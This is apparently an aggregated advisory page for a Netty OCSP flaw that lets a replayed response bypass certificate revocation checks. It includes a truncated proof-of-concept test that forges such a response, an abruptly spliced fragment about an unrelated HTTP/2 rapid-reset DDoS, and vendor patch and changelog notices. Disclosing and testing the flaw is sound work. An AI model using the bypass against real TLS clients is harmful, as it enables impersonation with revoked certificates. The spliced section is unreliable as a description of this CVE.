CVE-2026-56820

Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and prior to 4.1.135.Final, OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID, which can lead to replay attack. OcspClient.validateResponse accepts a legitimately signed GOOD status response for an unrelated certificate issued by the same CA, allowing bypass of revocation checks for another certificate. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

Summary

Netty's OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID. A bad actor can replay a GOOD status response issued for an unrelated certificate (by the same CA) to bypass revocation checks for any certificate.

Details

io.netty.handler.ssl.ocsp.OcspClient#validateResponse fails to assert that the CertificateID within the returned BasicOCSPResp matches the original certificate being validated.

When OcspClient.query(...) executes, it builds an OCSP request using the victim certificate's serial number and issuer hash. It then sends this request and receives a response. While the client verifies the signature of the response against the trusted issuer (or a valid responder chain), it never checks the CertificateID inside the response payload.

A bad actor who has access to any other valid, non-revoked certificate issued by the same CA can obtain a legitimately signed OCSP response indicating that the unrelated certificate is GOOD. The bad actor can then return this valid response to the Netty client when it queries the status of any other certificate (e.g., a revoked certificate) issued by the same CA. Because the signature is valid (signed by the CA) and the CertificateID is ignored, the client will incorrectly accept the target certificate as valid.

As per https://datatracker.ietf.org/doc/html/rfc6960#section-3.2 we have:

Prior to accepting a signed response for a particular certificate as
   valid, OCSP clients SHALL confirm that:

   1. The certificate identified in a received response corresponds to
      the certificate that was identified in the corresponding request;

PoC

The following test case in io.netty.handler.ssl.ocsp.OcspClientTest demonstrates how the implementation accepts a forged OCSP response for a completely unrelated certificate, proving the bypass.

    @Test
    void testCertIdBypass() throws Exception {
        X509Bundle caRoot = new CertificateBuilder()
                .algorithm(CertificateBuilder.Algorithm.rsa2048)
                .subject("CN=TrustedRootCA")
                .setIsCertificateAuthority(true)
                .buildSelfSigned();

        GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
        AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
        X509Bundle targetCert = new CertificateBuilder()
                .algorithm(CertificateBuilder.Algorithm.rsa2048)
                .subject("CN=TargetServer")
                .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
                .buildIssuedBy(caRoot);

        X509CertificateHolder caHolder = new JcaX509CertificateHolder(caRoot.getCertificate());
        BasicOCSPResp forgedBasicResp = createBasicOcspResponse(caRoot, new X509CertificateHolder[]{caHolder});
        OCSPResp forgedResponse = new OCSPRespBuilder().build(OCSPRespBuilder.SUCCESSFUL, forgedBasicResp);
        byte[] forgedResponseEncoded = forgedResponse.getEncoded();

        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            IoTransport transport = IoTransport.create(group.next(), () -> {
                NioSocketChannel channel = new NioSocketChannel();
                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
                    @Override
                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
                        promise.setSuccess();

                        ctx.executor().execute(() -> {
                            ctx.pipeline().fireChannelActive();

                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK,…

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-handler-ssl-ocsp 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2026-56820, CVE-2026-56821, and CVE-2026-56822.

CVE-2026-56820: Netty: Missing CertificateID Validation in OCSP Response Allows Replay Attacks

CVE-2026-56821: Netty: Out-of-date OCSP Responses Accepted by OcspServerCertificateValidator

CVE-2026-56822: Netty: TOCTOU in OcspServerCertificateValidator

This patched artifact is a drop-in replacement for io.netty:netty-handler-ssl-ocsp 4.1.100.Final from Maven Central.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and prior to 4.1.135.Final, OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID, which can lead to replay attack. OcspClient.validateResponse accepts a legitimately signed GOOD status response for an unrelated certificate issued by the same CA, allowing bypass of revocation checks for another certificate. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.135.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.130.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

These are all security issues fixed in the netty-4.1.136-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues:

Upgrade netty to upstream version 4.1.136 and netty-tcnative to version 2.0.80 Final.

Security issues fixed

• CVE-2026-44891: memory exhaustion in io.netty:netty-codec-stomp (bsc#1271435).
• CVE-2026-55831: resource exhaustion/DoS in io.netty:netty-codec-http (bsc#1271960).
• CVE-2026-55833: zip bomb in io.netty:netty-codec-http (bsc#1271961).
• CVE-2026-55851: memory exhaustion in io.netty:netty-codec-haproxy (bsc#1272253).
• CVE-2026-56745: memory exhaustion in io.netty:netty-codec-http (bsc#1272254).
• CVE-2026-56746: improper access control in io.netty:netty-codec-http (CORS) (bsc#1272255).
• CVE-2026-56817: insecure defaults in XML parsing in io.netty:netty-codec-xml (bsc#1272257).
• CVE-2026-56818: memory leak in io.netty:netty-codec-redis (bsc#1272603).
• CVE-2026-56819: memory leak in io.netty:netty-codec-http2 (bsc#1272258).
• CVE-2026-56820: improper certificate validation in io.netty:netty-handler-ssl-ocsp (bsc#1272259).
• CVE-2026-56821: improper certificate revocation check in io.netty:netty-handler-ssl-ocsp (bsc#1272299).
• CVE-2026-56822: time-of-check/time-of-use in io.netty:netty-handler-ssl-ocsp (bsc#1272300).
• CVE-2026-59898: protocol version confusion in io.netty:netty-codec-http (websocket) (bsc#1272302).
• CVE-2026-59899: memory exhaustion in io.netty:netty-codec-http (bsc#1272301).
• CVE-2026-59900: improper header neutralization in io.netty:netty-codec-http2 (bsc#1272303).
• CVE-2026-59901: infinite loop in io.netty:netty-codec-compression (bzip2) (bsc#1272304).
• CVE-2026-59919: improper CR/LF neutralization in io.netty:netty-codec-haproxy (bsc#1272305).
• CVE-2026-59920: improper CR/LF neutrolization in io.netty:netty-codec-stomp (bsc#1272306).
• CVE-2026-59921: improper CR/LF neutralization in io.netty:netty-codec-http (multipart) (bsc#1272307).
• Memory leak in io.netty:netty-codec-dns (bsc#1272519).
• Uncontrolled resource consumption in io.netty:netty-codec-xml (bsc#1272518).

Other updates and bugfixes:

• Upgrade to upstream version 4.1.136:
  • SingleThreadEventExecutor: document Throwable safety contract on run()
  • Make HTTP/2 frame hashCode consistent with equals
  • Add BlockHound exception for DnsQueryIdSpace (#16896)
  • FlowControlHandler: Fix autoRead behavior
  • Fix incorrect bounds in error message of HpackDecoder.setMaxHeaderListSize
  • MQTT: Fix MQTT decoder size check after variable header replay
  • MQTT: Make the decodeProperties early-REPLAY check actually fire
  • Reject control characters at the boundary of HTTP method names (#16723)
  • Update to latest tcnative release
  • Fix HTTP 2 PUSH_PROMISE stream association validation
  • Fix GZIP FEXTRA extra-field handling in JdkZlibDecoder
  • Add opt-in validation of mandatory pseudo-header fields for HTTP/2
  • Strictly validate MQTT UTF-8 Encoded String (#16939)
  • Stop DateFormatter trailing token from running past the parse end
  • IpFilter: Deprecate constructor which use accept by default
  • Add RFC 10008 QUERY Method support (#16966)
  • Correctly release and fail queued traffic-shaping writes on close (#16959)
  • FlowControlHandler: respect auto-read when toggled while dequeueing
  • IdleStateHandler: reset firstWriter/ReaderIdleEvent in resetWriteTimeout/resetReadTimeout (#16982)
  • Fix typo in AbstractSniHandler Javadoc
  • Reconcile AbstractCoalescingBufferQueue readableBytes when it drains, and fail stuck HTTP/2 streams instead of spinning empty DATA frames
  • Reject control characters at the boundary of the HTTP version token (#16971)
  • Reset UTF-8 decode state on CR in StompSubframeDecoder
  • HTTP2: Pass the correct number of arguments when logging goaway
  • FastLz: Guard decompression against truncated input (#17000)
  • Fix propagation of startTls for client SslContext handler
  • Reject non-token characters in HTTP/2 header names +…